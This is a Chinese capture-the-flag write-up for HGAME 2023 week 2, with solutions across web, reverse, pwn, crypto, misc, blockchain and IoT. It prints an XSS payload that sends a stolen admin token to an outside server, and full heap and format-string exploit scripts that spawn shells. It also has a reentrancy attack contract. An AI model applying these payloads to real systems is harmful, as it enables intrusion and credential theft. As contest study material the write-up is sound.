HGAME 2023 week2 wp by 没有头猪

web

Git Leakage

根据题目名称提示，找到.git文件夹，全部下载（这里我看文件不多，就直接用手下载了）后查看仓库历史记录即可找到flag（这里我对git不熟悉，直接用的Github Desktop）

v2board

想起前些日子发生的数据泄露的事，直接搜，ytb上手把手教

进入管理员面板后直接取admin订阅链接中的token即可

Designer

注意到对style的键值对过滤中，只把值清空了，而没有把键清空

```
//index.js
app.get("/button/preview", (req, res) => {
  const blacklist = [
    /on/i, /localStorage/i, /alert/, /fetch/, /XMLHttpRequest/, /window/,
/location/, /document/
  ]
  for (const key in req.query) {
    for (const item of blacklist) {
      if (item.test(key.trim()) || item.test(req.query[key].trim())) {
        req.query[key] = ""
      }
    }
  }
  res.render("preview", { data: req.query })
})
```

可以轻易XSS，onclick事件中先post注册admin账户，再将返回内容中的token发送至自己的服务器即可。注意json中的数据格式，引号需要转义。post至/button/share的payload

```
{"color":"1","\"onclick=\"axios.post('http://127.0.0.1:9090/user/register',
{'username':'admin'},{}).then(res =>
{fetch('http://test.zqy.ink/'+res.data.token);});\"":"1"}
```

Reverse

before_main

根据题目名称提示，应该是main函数前动了点手脚。注意到程序中含有ptrace函数，直接找调用ptrace的位置，发现一个字符串长得像base64表，而main函数中的字符串像base64编码数据，换表解码即可

stream

pyinstxtractor先提取，修改得到的stream文件的文件名为stream.pyc，并在文件头添加4字节magic number（根据提取后文件名称得到python版本为3.10）和12字节空字节。再用pycdc反编译得到源码。

观察加密源码，我们发现key已知，且gen函数不涉及随机数，因此直接照着encrypt函数写出decrypt函数进行解密即可

```
import base64

def gen(key):
    s = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s[i] + ord(key[i % len(key)])) % 256
        tmp = s[i]
        s[i] = s[j]
        s[j] = tmp
    i = j = 0
    data = []
    for _ in range(50):
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        tmp = s[i]
        s[i] = s[j]
        s[j] = tmp
        data.append(s[(s[i] + s[j]) % 256])
    return data


def encrypt(text, key):
    result = ''
    for c, k in zip(text, gen(key)):
        result += chr(ord(c) ^ k)
    result = base64.b64encode(result.encode()).decode()
    return result

def decrypt(text, key):
    text = base64.b64decode(text).decode()
    result=''
    for c, k in zip(text, gen(key)):
        result+=chr(ord(c) ^ k)
    return result

key = 'As_we_do_as_you_know'
print(decrypt('wr3ClVcSw7nCmMOcHcKgacOtMkvDjxZ6asKWw4nChMK8IsK7KMOOasOrdgbDlx3DqcKqwrOhw7O1Ly57w63CtcOl',key))
```

VidarCamera

略经修改的xtea加密，分析得解密方式，delta，及加密轮数（33轮）。解密程序：

```
#include<stdio.h>
#include<stdint.h>
#include<stdlib.h>
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0=v[0], v1=v[1];
    unsigned int delta=878077251, sum=delta*num_rounds;
    for(i=0;i<num_rounds;i++){
        sum-=delta;
        v1-=(((v0<<4)^(v0>>5))+v0)^(sum+key[(sum>>11)&3]);
        v0-=((((v1<<4)^(v1>>5))+v1)^(sum+key[sum&3]))^sum;
    }
    v[0]=v0;
    v[1]=v1;
}
int main(){
    unsigned int v4[10];
    v4[0] = 637666042;
    v4[1] = 457511012;
    v4[2] = -2038734351;
    v4[3] = 578827205;
    v4[4] = -245529892;
    v4[5] = -1652281167;
    v4[6] = 435335655;
    v4[7] = 733644188;
    v4[8] = 705177885;
    v4[9] = -596608744;
    uint32_t key[4]={2233,4455,6677,8899};
    for(int j=8;j>=0;j--){
        decipher(33,v4+j,key);
    }
    printf("%s",v4);
    system("pause");
    return 0;
}
```

math

解线性方程组，先提取出C语言代码，修改使其输出等式

```
#include<stdio.h>
#include<stdlib.h>
int main(int a1, char **a2, char **a3)
{
  int i; // [rsp+0h] [rbp-180h]
  int j; // [rsp+4h] [rbp-17Ch]
  int k; // [rsp+8h] [rbp-178h]
  int m; // [rsp+Ch] [rbp-174h]
  char v8[25]; // [rsp+10h] [rbp-170h] BYREF
  int v9[25]; // [rsp+30h] [rbp-150h]
```

```
int v10[25]; // [rsp+A0h] [rbp-E0h] BYREF
int v11[25]; // [rsp+110h] [rbp-70h] BYREF

v9[0] = 126;
v9[1] = 225;
v9[2] = 62;
v9[3] = 40;
v9[4] = 216;
v9[5] = 253;
v9[6] = 20;
v9[7] = 124;
v9[8] = 232;
v9[9] = 122;
v9[10] = 62;
v9[11] = 23;
v9[12] = 100;
v9[13] = 161;
v9[14] = 36;
v9[15] = 118;
v9[16] = 21;
v9[17] = 184;
v9[18] = 26;
v9[19] = 142;
v9[20] = 59;
v9[21] = 31;
v9[22] = 186;
v9[23] = 82;
v9[24] = 79;
memset(v10, 0, sizeof(v10));
v11[0] = 63998;
v11[1] = 33111;
v11[2] = 67762;
v11[3] = 54789;
v11[4] = 61979;
v11[5] = 69619;
v11[6] = 37190;
v11[7] = 70162;
v11[8] = 53110;
v11[9] = 68678;
v11[10] = 63339;
v11[11] = 30687;
v11[12] = 66494;
v11[13] = 50936;
v11[14] = 60810;
v11[15] = 48784;
v11[16] = 30188;
v11[17] = 60104;
v11[18] = 44599;
v11[19] = 52265;
v11[20] = 43048;
v11[21] = 23660;
v11[22] = 43850;
v11[23] = 33646;
v11[24] = 44270;
for ( i = 0; i <= 4; ++i )
```

```
  {
    for ( j = 0; j <= 4; ++j )
    {
      for ( k = 0; k <= 4; ++k ){
        if(k==0){
          printf("%d==input_Str[%d]*%d+",v11[5*i+j],5*i+k,v9[5*k+j]);
        } else if(k!=4){
          printf("input_Str[%d]*%d+",5*i+k,v9[5*k+j]);
        } else {
          printf("input_Str[%d]*%d\n",5*i+k,v9[5*k+j]);
        }
      }
    }
  }
  return 0LL;
}
```

保存其输出内容，用z3solver解出即可

```
from z3 import *
input_Str=[Int(f'Int(x[{i}])') for i in range(25)]
eqs=open("out.txt",encoding='utf-8').read().split('\n')
s=Solver()
for i in eqs:
    s.add(eval(i))
s.check()
s.model()
'''
[Int(x[3]) = 109,
 Int(x[23]) = 125,
 Int(x[10]) = 95,
 Int(x[14]) = 104,
 Int(x[8]) = 117,
 Int(x[11]) = 109,
 Int(x[21]) = 48,
 Int(x[15]) = 95,
 Int(x[1]) = 103,
 Int(x[6]) = 121,
 Int(x[13]) = 116,
 Int(x[24]) = 0,
 Int(x[20]) = 79,
 Int(x[19]) = 103,
 Int(x[16]) = 49,
 Int(x[18]) = 95,
 Int(x[22]) = 100,
 Int(x[0]) = 104,
 Int(x[2]) = 97,
 Int(x[9]) = 114,
 Int(x[4]) = 101,
 Int(x[7]) = 48,
 Int(x[5]) = 123,
 Int(x[17]) = 115,
 Int(x[12]) = 64]
'''
x=[0 for i in range(25)]
```

```
x[3] = 109
x[23] = 125
x[10] = 95
x[14] = 104
x[8] = 117
x[11] = 109
x[21] = 48
x[15] = 95
x[1] = 103
x[6] = 121
x[13] = 116
x[24] = 0
x[20] = 79
x[19] = 103
x[16] = 49
x[18] = 95
x[22] = 100
x[0] = 104
x[2] = 97
x[9] = 114
x[4] = 101
x[7] = 48
x[5] = 123
x[17] = 115
x[12] = 64
for i in x:
    print(chr(i),end='')
```

pwn

Yukkuri Say

注意到程序读取我们的输入内容时没有\0截断，因此在print_str函数中可以泄露栈地址。然后可以通过更改返回地址或劫持`__stack_chk_fail`函数等方法避免程序结束。然后就是常规的格式化字符串漏洞利用，劫持printf函数got表为system函数。注意程序输出字符画时使用的是栈空间，而gift中使用的是bss段，可以在这两处输入相同的内容，就方便我们使用fmtstr_payload了。exp:

```
from pwn import *
context(arch='amd64',os='linux')
#p=process('./vuln')
p=connect('week-2.hgame.lwsec.cn',30824)
elf=ELF('./vuln')
libc=ELF('libc-2.31.so')

p.sendafter(b'say?\n',b'a'*256)
stack=u64(p.recvuntil(b'\x7f')[-6:]+b'\x00\x00')
info('stack='+hex(stack))
canary_addr=stack-24
p.sendlineafter(b'(Y/n)\n',b'y')

payload=b''
for i in range(2):
    payload+=p64(elf.got['__stack_chk_fail']+i)
payload+=p64(canary_addr)
```

```
sleep(1)
p.send(payload)
p.sendlineafter(b'(Y/n)\n',b'n')
payload=b'%3$p%3c%9$hhn%10$hhn%63c%8$hhn'
p.sendafter(b'you: \n',payload)
libc_base=int(p.recv(14),16)-libc.sym['read']-0x12
info('libc_base='+hex(libc_base))

p.sendafter(b'say?\n',b'a'*256)
stack=u64(p.recvuntil(b'\x7f')[-6:]+b'\x00\x00')
info('stack='+hex(stack))
canary_addr=stack-24
p.sendlineafter(b'(Y/n)\n',b'y')

system_addr=libc_base+libc.sym['system']
payload=fmtstr_payload(8,
{elf.got['printf']:system_addr,elf.got['__stack_chk_fail']:elf.sym['_start'],cana
ry_addr:0xff})+b'\x00'
assert(len(payload)<0x100)
sleep(1)
p.send(payload)
p.sendlineafter(b'(Y/n)\n',b'n')
p.sendafter(b'you: \n',payload)
p.sendafter(b'say?\n',b'a')
p.sendlineafter(b'(Y/n)\n',b'n')
p.sendafter(b'you: \n',b'/bin/sh\x00')
p.interactive()
```

editable note

UAF，free后仍可修改、显示chunk内容。先unsorted bin泄露libc，再tcache poisoning实现任意地址写，劫持free_hook为system后getshell。exp:

```
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
#p=process('./vuln')
p=connect('week-2.hgame.lwsec.cn',30222)
elf=ELF('./vuln')
libc=ELF('libc-2.31.so')

def add(idx, size):
    p.sendlineafter(b'>',b'1')
    p.sendlineafter(b'Index: ',str(idx).encode())
    p.sendlineafter(b'Size: ',str(size).encode())

def delete(idx):
    p.sendlineafter(b'>',b'2')
    p.sendlineafter(b'Index: ',str(idx).encode())

def edit(idx, content):
    p.sendlineafter(b'>',b'3')
    p.sendlineafter(b'Index: ',str(idx).encode())
    p.sendlineafter(b'Content: ',content)

def show(idx):
```

```
    p.sendlineafter(b'>',b'4')
    p.sendlineafter(b'Index: ',str(idx).encode())

for i in range(9):
    add(i, 0x80)

for i in range(8):
    delete(i)

show(7)
libc_base=u64(p.recv(6)+b'\x00\x00')-0x1ecbe0
info(f'libc_base:{hex(libc_base)}')
libc.address=libc_base

free_hook=libc.sym['__free_hook']
system_addr=libc.sym['system']
edit(6,p64(free_hook))

add(9,0x80)
add(10,0x80)
edit(9,b'/bin/sh\x00')
edit(10,p64(system_addr))
delete(9)

p.interactive()
```

fast note

同样的UAF，只不过add note后无法再edit，注意到程序是Partial RELRO。先unsorted bin泄露libc，再在got表上找个好位置fastbin arbitrary alloc，劫持free函数got表为system即可。exp:

```
from pwn import *
context(arch='amd64',os='linux')
#p=process('./vuln')
p=connect('week-2.hgame.lwsec.cn',30444)
elf=ELF('./vuln')
libc=ELF('libc-2.23.so')

def add(idx, size, content):
    p.sendlineafter(b'>',b'1')
    p.sendlineafter(b'Index: ',str(idx).encode())
    p.sendlineafter(b'Size: ',str(size).encode())
    p.sendafter(b'Content: ',content)

def delete(idx):
    p.sendlineafter(b'>',b'2')
    p.sendlineafter(b'Index: ',str(idx).encode())

def show(idx):
    p.sendlineafter(b'>',b'3')
    p.sendlineafter(b'Index: ',str(idx).encode())

add(0,0x80,b'a'*0x80)
add(1,0x50,b'a'*0x50)
add(2,0x50,b'a'*0x50)
```

```
add(3,0x10,b'/bin/sh\x00')
delete(0)
show(0)
libc_base=u64(p.recv(6)+b'\x00\x00')-0x3c4b78
info('libc_base:'+hex(libc_base))
libc.address=libc_base

delete(1)
delete(2)
delete(1)
add(4,0x50,p64(0x602002-8))
add(5,0x50,b'a'*0x50)
add(6,0x50,b'a'*0x50)
add(7,0x50,b'\x00'*14+p64(libc.sym['system']))
delete(3)
p.interactive()
```

new fast note

Unsorted bin泄露出libc地址后，利用House of Botcake劫持free_hook为system。exp:

```
from pwn import *
context(arch='amd64',os='linux')
p=process('./vuln')
#p=connect('week-2.hgame.lwsec.cn',31932)
elf=ELF('./vuln')
libc=ELF('libc-2.31.so')

def add(idx, size, content=b''):
    p.sendlineafter(b'>',b'1')
    p.sendlineafter(b'Index: ',str(idx).encode())
    p.sendlineafter(b'Size: ',str(size).encode())
    p.sendafter(b'Content: ',content if content!=b'' else b'a')

def delete(idx):
    p.sendlineafter(b'>',b'2')
    p.sendlineafter(b'Index: ',str(idx).encode())

def show(idx):
    p.sendlineafter(b'>',b'3')
    p.sendlineafter(b'Index: ',str(idx).encode())

for i in range(10):
    add(i,0x80)
for i in range(7):
    delete(6-i)

delete(8)
show(8)
libc_base=u64(p.recv(6)+b'\x00\x00')-0x1ecbe0
info('libc_base:'+hex(libc_base))
libc.address=libc_base

delete(7)
add(10,0x80)
```

```
delete(8)
add(11,0xff,b'\x00'*0x80+p64(0)+p64(0x91)+p64(libc.sym['__free_hook'])+b'\x00'*7)

add(12,0x80,b'/bin/sh\x00')
add(13,0x80,p64(libc.sym['system']))
delete(12)

p.interactive()
```

crypto

Rabin

Rabin算法模板题，直接照抄ctf-wiki上的解题脚本

```
from Crypto.Util.number import *
import gmpy2
p=6542832718455567969073013743288640724018432953477242137319352114469337507498 3
q=9857081026870508498752497548232345600648053191729260179925624145868180055412 3
c=0x4e072f435cbffbd3520a283b3944ac988b98fb19e723d1bd02ad7e58d9f01b26d622edea5ee53 8b2f603d5bf785b0427de27ad5c76c656dbd9435d3a4a7cf556
N=p*q
inv_p=gmpy2.invert(p,q)
inv_q=gmpy2.invert(q,p)
mp=pow(c,(p+1)//4,p)
mq=pow(c,(q+1)//4,q)
a = (inv_p * p * mq + inv_q * q * mp) % N
b = N - int(a)
c = (inv_p * p * mq - inv_q * q * mp) % N
d = N - int(c)

for i in (a, b, c, d):
    s = '%x' % i
    if len(s) % 2 != 0:
        s = '0' + s
    print(long_to_bytes(int(s,16)))
```

RSA大冒险1

challenge1: 3个质数的RSA，给了n,e,p，q和r是两个100位的质数，很容易分解q*r，得到p,q,r。然后找个多质数的RSA解密脚本即可

challenge2: 可以进行多次加密，每次加密的q不同，p相同，那么直接求gcd(n1,n2)就能得到p，然后n/p得到q，直接解密即可

challenge3: 小指数加密，直接开根

challenge4: 可以使用相同的n，不同的e进行多次加密。搜一搜得解题方法（面向google做题）

解题脚本（因为做完challenge1才发现明文是固定的，所以只有challenge1使用了pwntools）

```
from Crypto.Util.number import *
import gmpy2
from pwn import *
context.log_level='debug'
```

```
#io=connect("week-2.hgame.lwsec.cn",32147)
def rcv():
    io.recvuntil(b'> ')
#rcv()

#challenge1
'''
io.sendline(b'1')
rcv()
io.sendline(b'2')
c=int(io.recvline(),16)
rcv()
io.sendline(b'1')
n=int(io.recvline())
e=int(io.recvline())
p=int(io.recvline())
assert(n%p==0)
qr=n//p
print(qr)
q=int(input())
r=int(input())

primes=[p,q,r]

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

ts = []
xs = []
ds = []

for i in range(len(primes)):
    ds.append(modinv(e, primes[i]-1))

m = primes[0]

for i in range(1, len(primes)):
    ts.append(modinv(m, primes[i]))
    m = m * primes[i]

for i in range(len(primes)):
    xs.append(pow((c%primes[i]), ds[i], primes[i]))

x = xs[0]
```

```
m = primes[0]

for i in range(1, len(primes)):
    x = x + m * ((xs[i] - x % primes[i]) * (ts[i-1] % primes[i]))
    m = m * primes[i]
rcv()
io.sendline(b'3')
io.recvuntil(b'input your answer: ')
io.sendline(long_to_bytes(x%n))
'''
#m<n_But_also_m<p

#challenge2
'''
n1=92164276098083775255643742072574841832235225480114535725732884057154225312042759939775424687981297744866081888064507039317023121059930797165406741122135981451679251750757784648434001987164300483177382799190073968970047324485023544253070360630285738440372521473973514888042794721658760913419757102666771032103
c1=0x6293708213aeff40147bb55993f66bce6d9f74ca2f2cc5fd61c97207063fc231ab7930796a93afebfa98d252293f0f3da4524e120f65d260bab79c6d497baf520f8613b71ac451a98df88f11a2eab4bfe14611cfc293cbe5d34197b1d6036f671a5b20cdd4812f1bceb5b407732be308fb153688b7659caeaff0baa94b1b4354
n2=76708147174268886705991524576733784344066292254595391184812312426610972065766821023584916686848095554156844589993538253578493143209536224466902617474204890829188442422485858815357899854306146826144226709240595660909399986309414866257235441725265149661290681018294847832489771062706478886071190259237535972763
e=65537
p=gmpy2.gcd(n1,n2)
q=n1//p
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=gmpy2.powmod(c1,d,n1)
print(long_to_bytes(m))
'''
#make_all_modulus_independent

#challenge3
'''
n=128041460579709169461109191185581600781819198227288387695321666662826976397840212318149631888014074437092521637973834921313052030381504260461468819498937342815443778990709223096503945039359529768233419818433025671324770077971173812754239175574975994477535224372980789997311849620384478418988512778452641169993
c=0xfec61958cefda3eb5f709faa0282bffaded0a323fe1ef370e05ed3744a2e53b55bdd43e9594427c35514505f26e4691ba86c6dcff6d29d69110b15b9f84b0d8eb9ea7c03aaf24fa957314b89febf46a615f81ec031b12fe725f91af9d269873a69748
e=3
m,_=gmpy2.iroot(c,e)
print(long_to_bytes(m))
'''
#encrypt_exponent_should_be_bigger

#challenge4
#https://crypto.stackexchange.com/questions/1614/rsa-cracking-the-same-message-is-sent-to-two-different-people-problem
'''
```

```
n=142768468474200207929087842146531201301474838886000286866578745987884640282423100617813079674608900621335820193805187599016798000977352426357326450530238436537180408308429203499317102997680800585681827755266793639522218277222310017721237531527847530214135020224945932200725637645791294192137164422860656037409
e1=108517
c1=0x9de580502789162ba798c733efe05dec2fcdf54bb13be1bd1ae373c092a41788bfcde1ef46aefff210c3110336653cb667ae4dd32bf53ac6fd93ab72888cb2225805660cb3e427c47110c025dc73a3c0644a63293785f417cf2111db6a9a68cf5b4946ab4cb39741d763a29e0808b54b7972cc7c3c3a2b48f9471872c1143abf
e2=101209
c2=0x634dc5e7d2adb47590374b102beaa2fb49e0378979e814ec25d053204c2787f2d52bc7ea57e8504e72f5d135aba172766e6b3623914a86e9224f25058f607d6428baaa22de2f790c24780e330bf75fea6918a17cf593d2bdb2541bb19905050e0f2c9d7c104b3a9ff8dcf84d0da3ac7d74b4ef77240e202cae3c16ce8f5ddaf5
x=-81114
y=86971
i=gmpy2.invert(c1,n)
m=gmpy2.powmod(i,-x,n)*gmpy2.powmod(c2,y,n)
m%=n
print(long_to_bytes(m))
'''
#never_uese_same_modulus
```

包里有什么

根据m的取值范围sum(a)<=m<=(2<<l+1)，python模拟一下得到长度l=198，然后就是个常规的已知私钥的背包加密，直接解密即可

```
from Crypto.Util.number import *
import gmpy2
m = 152863722253103833295869496511433041577389657189101762949342 4
b0 = 69356606533325456520968776034730214585110536932989313137926
c = 936020621334873611514207530577393971617346516097865987654621 62
w0=b0//2
w1=(b0+m)//2
w=w0
l=198
a = [2 << i for i in range(l)]
b = [w * i % m for i in a]
n = gmpy2.invert(w,m)
n = (c*n)%m
result=''
for i in range(l-1,-1,-1):
    if n>=a[i]:
        result='1'+result
        n-=a[i]
    else:
        result='0'+result
assert(n==0)
print(long_to_bytes(int(result,2)))
```

零元购年货商店

字节翻转攻击。先看看源码会生成怎样的json字符串明文

```
package main

import (
    "encoding/json"
    "fmt"
    "time"
)

type User struct {
    Name    string
    Created int64
    Uid     string
}

func main() {
    user := User{Name: "Vidar-Tu", Created: time.Now().Unix(), Uid: "230555433"}
    jsonUser, _ := json.Marshal(user)
    fmt.Println(string(jsonUser))
}
```

按16字节分块

```
{"Name":"Vidar-T
u","Created":167
4149151,"Uid":"2
30555433"}
```

第一遍Vidbr-Tu得到密文，取密文中后面的部分

第二遍Vidar-Ta得到密文，取密文中前面的部分

即可得到Vidar-Tu对应的token

misc

Tetris Master

非预期，直接Ctrl-C就能退出脚本进入shell

crazy_qrcode

题目给的password二维码看着挺对却扫不出，猜测其Error Correction Level和Mask Pattern信息有误，用QRazyBox慢慢试，Error Correction Level:H，Mask Pattern:4可以扫出密码

解压后文件中，"使用hgame{}包裹flag内容"文件中含有一个list，为问号和0-3之间的数字组成的，推测其代表对应图片要旋转几个90度。按照二维码格式可以得到其中大多数问号对应的数字，只有2和10不确定，那就16种可能，都生成一遍，然后同时缩略图放在屏幕上用微信扫，正确的二维码自然会被扫出来。图像处理脚本：

```
from PIL import Image
```

```
r=[1, 2, 4, 3, 2, 0, 3, 2, 2, 3, 4, 0, 3, 1, 2, 1, 1, 0, 3, 3, 2, 2, 2, 3, 2]

for k in range(4):
    for j in range(4):
        out_img=Image.new("RGB",(2500,2500))
        for i in range(25):
            img=Image.open(f"{i}.png")
            img=img.rotate(-r[i]*90)
            if i==2:
                img.rotate(j*90)
            if i==10:
                img.rotate(k*90)
            out_img.paste(img,((i%5)*500,(i//5)*500))
        out_img.save(f"output{k}_{j}.png")
```

blockchain

VidarBank

重入攻击模板题，攻击合约：

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.7;

contract VidarBank {
    mapping(address => uint256) public balances;
    mapping(address => bool) public doneDonating;
    event SendFlag();

    constructor() {}

    function newAccount() public payable{
        require(msg.value >= 0.0001 ether);
        balances[msg.sender] = 10;
        doneDonating[msg.sender] = false;
    }

    function donateOnce() public {
        require(balances[msg.sender] >= 1);
        if(doneDonating[msg.sender] == false) {
            balances[msg.sender] += 10;
            msg.sender.call{value: 0.0001 ether}("");
            doneDonating[msg.sender] = true;
        }
    }

    function getBalance() public view returns (uint256) {
        return balances[msg.sender];
    }

    function isSolved() public {
         require(balances[msg.sender] >= 30, "Not yet solved!");
         emit SendFlag();
    }
```

```
}

contract Hacker {
    int256 times = 2;
    VidarBank bank;

    constructor(address payable _addr) payable{
        bank=VidarBank(_addr);
    }

    function hack() external payable {
        bank.newAccount{value: 0.1 ether}();
        bank.donateOnce();
        bank.isSolved();
    }

    fallback() external payable {
        if(times>=0){
            times-=1;
            bank.donateOnce();
        }
    }
}
```

Transfer

利用selfdestrct函数的性质，攻击合约：

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.7;

contract Hacker {
    address addr;

    constructor(address payable _addr) payable{
        addr=_addr;
    }

    function hack() external payable {
        selfdestruct(payable(addr));
    }
}
```

（攻击前别忘了给合约转足够的ether）

iot

Pirated router

binwalk解压固件，在bin文件夹中发现怪东西secret_program，IDA打开逆一下就出了

Pirated keyboard

分析USB流量，关注其中的urb interrupt，得到输入数据zihiui_NB_666}，感觉有点不对劲。看固件源码中hw_keyboard.h调换了H和I的keycode，数据也调换h和i即可。（不过这里就相当于键盘上按H，电脑中出的是I，代入到生活逻辑中有点说不通）

数据包中不含其他有效数据了，猜测flag前半部分在某个代码文件或文档中，利用windows搜索会搜索文件内容的特性，直接搜索hgame就能找到对应的pdf。